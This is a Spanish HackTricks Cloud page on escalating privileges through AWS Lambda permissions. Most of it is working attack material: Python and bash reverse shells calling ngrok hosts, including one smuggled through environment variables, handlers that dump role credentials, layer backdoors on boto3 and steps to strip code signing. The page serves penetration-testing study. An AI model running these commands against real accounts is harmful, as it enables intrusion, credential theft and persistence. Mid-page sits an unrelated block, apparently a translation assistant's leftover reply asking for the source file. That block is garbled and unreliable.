AWS - Lambda Privesc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
lambda
Más información sobre lambda en:
iam:PassRole, lambda:CreateFunction, (lambda:InvokeFunction | lambda:InvokeFunctionUrl)
Los usuarios con los permisos iam:PassRole, lambda:CreateFunction y lambda:InvokeFunction pueden escalar sus privilegios.
Pueden crear una nueva función Lambda y asignarle un rol IAM existente, otorgando a la función los permisos asociados a ese rol. El usuario puede entonces escribir y subir código a esta función Lambda (por ejemplo, con un rev shell).
Una vez configurada la función, el usuario puede disparar su ejecución y las acciones deseadas invocando la función Lambda a través del AWS API. Este enfoque permite efectivamente al usuario realizar tareas de forma indirecta mediante la función Lambda, operando con el nivel de acceso concedido al rol IAM asociado.\
Un atacante podría abusar de esto para obtener un rev shell y robar el token:
import socket,subprocess,os,time
def lambda_handler(event, context):
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(('4.tcp.ngrok.io',14305))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(['/bin/sh','-i'])
time.sleep(900)
return 0
# Zip the rev shell
zip "rev.zip" "rev.py"
# Create the function
aws lambda create-function --function-name my_function \
--runtime python3.9 --role <arn_of_lambda_role> \
--handler rev.lambda_handler --zip-file fileb://rev.zip
# Invoke the function
aws lambda invoke --function-name my_function output.txt
## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL
# List roles
aws iam list-attached-user-policies --user-name <user-name>
También podrías abusar de los permisos del role de lambda desde la propia función lambda.\ Si el role de lambda tuviera suficientes permisos, podrías usarlo para concederte permisos de administrador:
import boto3
def lambda_handler(event, context):
client = boto3.client('iam')
response = client.attach_user_policy(
UserName='my_username',
PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
También es posible leak the lambda’s role credentials sin necesidad de una conexión externa. Esto sería útil para Network isolated Lambdas usadas en tareas internas. Si hay security groups desconocidos filtrando tus reverse shells, este fragmento de código te permitirá leak directamente las credentials como la salida del lambda.
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
return {
'statusCode': 200,
'session': str(sessiontoken)
}
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
Impacto potencial: Privesc directo al rol de servicio lambda arbitrario especificado.
Caution
Ten en cuenta que, aunque pueda parecer interesante,
lambda:InvokeAsyncno permite por sí sola ejecutaraws lambda invoke-async, también necesitaslambda:InvokeFunction
iam:PassRole, lambda:CreateFunction, lambda:AddPermission
Como en el escenario anterior, puedes concederte a ti mismo el permiso lambda:InvokeFunction si tienes el permiso lambda:AddPermission
# Check the previous exploit and use the following line to grant you the invoke permissions
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
Impacto potencial: Direct privesc al rol de servicio de lambda arbitrario especificado.
iam:PassRole, lambda:CreateFunction, lambda:CreateEventSourceMapping
Los usuarios con iam:PassRole, lambda:CreateFunction y lambda:CreateEventSourceMapping (y potencialmente dynamodb:PutItem y dynamodb:CreateTable) pueden, de forma indirecta, escalar privilegios incluso sin lambda:InvokeFunction.\
Pueden crear una función Lambda con código malicioso y asignarle un rol IAM existente.
En vez de invocar la Lambda directamente, el usuario configura o utiliza una tabla DynamoDB existente, vinculándola a la Lambda mediante un event source mapping. Esta configuración asegura que la función Lambda se dispare automáticamente al insertarse un nuevo ítem en la tabla, ya sea por acción del usuario u otro proceso, invocando así indirectamente la función Lambda y ejecutando el código con los permisos del rol IAM pasado.
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
Si DynamoDB ya está activo en el entorno AWS, el usuario solo necesita establecer el mapeo de origen de eventos para la función Lambda. Sin embargo, si DynamoDB no está en uso, el usuario debe crear una nueva tabla con streaming habilitado:
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
--key-schema AttributeName=Test,KeyType=HASH \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
Ahora es posible conectar la función Lambda a la tabla DynamoDB al crear un event source mapping:
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
Con la función Lambda vinculada al DynamoDB stream, el atacante puede desencadenar indirectamente la Lambda activando el DynamoDB stream. Esto se puede lograr insertando un elemento en la tabla de DynamoDB:
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
Impacto potencial: Privesc directo al rol de servicio de lambda especificado.
lambda:AddPermission
Un atacante con este permiso puede concederse (o conceder a otros) cualquier permiso (esto genera políticas basadas en recursos para otorgar acceso al recurso):
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
Potential Impact: Privesc directo al rol de servicio de lambda al otorgar permiso para modificar el código y ejecutarlo.
lambda:AddLayerVersionPermission
Un atacante con este permiso puede concederse a sí mismo (o a otros) el permiso lambda:GetLayerVersion. Podría acceder a la layer y buscar vulnerabilidades o información sensible
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
Impacto potencial: Acceso potencial a información sensible.
lambda:UpdateFunctionCode
Los usuarios que poseen el permiso lambda:UpdateFunctionCode tienen el potencial de modificar el código de una función Lambda existente que está vinculada a un IAM role.
El atacante puede modificar el código de la función Lambda para exfiltrate the IAM credentials.
Aunque el atacante podría no tener la capacidad directa para invocar la función, si la función Lambda es preexistente y está en funcionamiento, es probable que se active mediante flujos de trabajo o eventos existentes, facilitando así de forma indirecta la ejecución del código modificado.
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
--zip-file fileb:///my/lambda/code/zipped.zip
# If you have invoke permissions:
aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
Impacto potencial: Privesc directo al rol de servicio de lambda usado.
lambda:UpdateFunctionConfiguration
RCE via env variables
Con estos permisos es posible añadir variables de entorno que harán que la Lambda ejecute código arbitrario. Por ejemplo en python es posible abusar de las variables de entorno PYTHONWARNING y BROWSER para que un proceso de python ejecute comandos arbitrarios:
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
Para otros lenguajes de scripting existen otras env variables que puedes usar. Para más información, consulta las subsecciones de lenguajes de scripting en:
macOS Process Abuse - HackTricks
RCE via Lambda Layers
Lambda Layers permite incluir code en tu función lamdba pero almacenarlo por separado, de modo que el code de la función pueda permanecer pequeño y varias funciones pueden compartir code.
Dentro de lambda puedes comprobar las rutas desde las que se carga el python code con una función como la siguiente:
import json
import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
These are the places:
- /var/task
- /opt/python/lib/python3.7/site-packages
- /opt/python
- /var/runtime
- /var/lang/lib/python37.zip
- /var/lang/lib/python3.7
- /var/lang/lib/python3.7/lib-dynload
- /var/lang/lib/python3.7/site-packages
- /opt/python/lib/python3.7/site-packages
- /opt/python
Por ejemplo, la biblioteca boto3 se carga desde /var/runtime/boto3 (4ª posición).
Explotación
Es posible abusar del permiso lambda:UpdateFunctionConfiguration para añadir un nuevo layer a una función lambda. Para ejecutar código arbitrario, este layer debe contener alguna biblioteca que la lambda va a importar. Si puedes leer el código de la función lambda, podrías encontrar esto fácilmente; también ten en cuenta que podría ser posible que la lambda ya esté usando un layer y podrías descargar el layer y añadir tu código allí.
Por ejemplo, supongamos que la lambda está usando la biblioteca boto3; esto creará un layer local con la última versión de la biblioteca:
pip3 install -t ./lambda_layer boto3
Puedes abrir ./lambda_layer/boto3/__init__.py y añadir la backdoor en el código global (una función para exfiltrate credentials o obtener un reverse shell, por ejemplo).
Luego, comprime ese directorio ./lambda_layer y sube el nuevo lambda layer a tu propia cuenta (o a la de la víctima, pero puede que no tengas permisos para ello).
Ten en cuenta que necesitas crear una carpeta python y colocar las librerías allí para sobrescribir /opt/python/boto3. Además, la layer necesita ser compatible con la versión de python usada por la lambda y, si la subes a tu cuenta, debe estar en la misma región:
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
Ahora, haga que el lambda layer subido sea accesible por cualquier cuenta:
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
Y adjunta el lambda layer a la victim lambda function:
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
El siguiente paso sería o bien invocar la función nosotros mismos si podemos o esperar hasta que se invoque por medios normales–lo cual es el método más seguro.
Una forma más sigilosa de explotar esta vulnerabilidad se puede encontrar en:
AWS - Lambda Layers Persistence
Impacto potencial: Privesc directo al role de servicio lambda usado.
iam:PassRole, lambda:CreateFunction, lambda:CreateFunctionUrlConfig, lambda:InvokeFunctionUrl
Quizá con esos permisos puedas crear una función y ejecutarla llamando a la URL… pero pude encontrar una forma de probarlo, así que avísame si lo haces!
Lambda MitM
Algunas lambdas van a estar recibiendo información sensible de los usuarios en parámetros. Si obtienes RCE en una de ellas, puedes exfiltrate la info que otros usuarios le están enviando, revísalo en:
Referencias
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/
lambda:DeleteFunctionCodeSigningConfig or lambda:PutFunctionCodeSigningConfig + lambda:UpdateFunctionCode — Bypass Lambda Code Signing
Si una función Lambda exige code signing, un atacante que pueda eliminar la Code Signing Config (CSC) o degradarla a WARN puede desplegar unsigned code en la función. Esto evita las protecciones de integridad sin modificar el IAM role de la función ni sus triggers.
Permisos (uno de):
- Path A:
lambda:DeleteFunctionCodeSigningConfig,lambda:UpdateFunctionCode - Path B:
lambda:CreateCodeSigningConfig,lambda:PutFunctionCodeSigningConfig,lambda:UpdateFunctionCode
Notas:
- Para Path B, no necesitas un AWS Signer profile si la política de CSC está configurada como
WARN(artefactos sin firmar permitidos).
Pasos (REGION=us-east-1, TARGET_FN=
Prepara un payload pequeño:
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
Ruta A) Eliminar CSC y luego actualizar el código:
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Ruta B) Rebajar a Warn y actualizar el código (si eliminar no está permitido):
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
Confirmo. Para proceder necesito que pegues aquí el contenido de src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md.
Traduciré el texto relevante del inglés al español manteniendo exactamente la misma sintaxis Markdown/HTML y cumpliendo estas reglas:
- No traducir código, nombres de técnicas de hacking, palabras comunes de hacking, nombres de plataformas cloud/SaaS (ej. Workspace, aws, gcp…), la palabra “leak”, pentesting, enlaces ni etiquetas/paths.
- No traducir links, refs ni paths (p. ej. lamda-post-exploitation.md).
- No traducir ni modificar tags como {#tabs}, {#tab name=“Method1”}, {#ref}…{#endref}, {#include …}, etc.
- No añadir contenido extra fuera de la traducción y la sintaxis Markdown/HTML.
Envía el contenido y lo traduzco.
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
Impacto potencial: Capacidad para subir y ejecutar código arbitrario no firmado en una función que se suponía debía imponer despliegues firmados, lo que podría conducir a la ejecución de código con los permisos del rol de la función.
Limpieza:
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

